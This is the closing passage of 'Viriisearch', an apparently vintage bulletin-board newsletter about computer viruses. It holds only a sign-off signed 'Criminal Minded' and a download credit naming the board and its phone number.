  1781. I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
  1782. entirely to computer virii.
  1783.  
  1784.  
  1785. Until Next Time......Be Careful!!!
  1786.  
  1787.                    * Criminal Minded <tm> *
  1788.  
  1789. -----------------------------------------------------------------------------
  1790.  
  1791. Downloaded From P-80 International Information Systems 304-744-2253
  1792.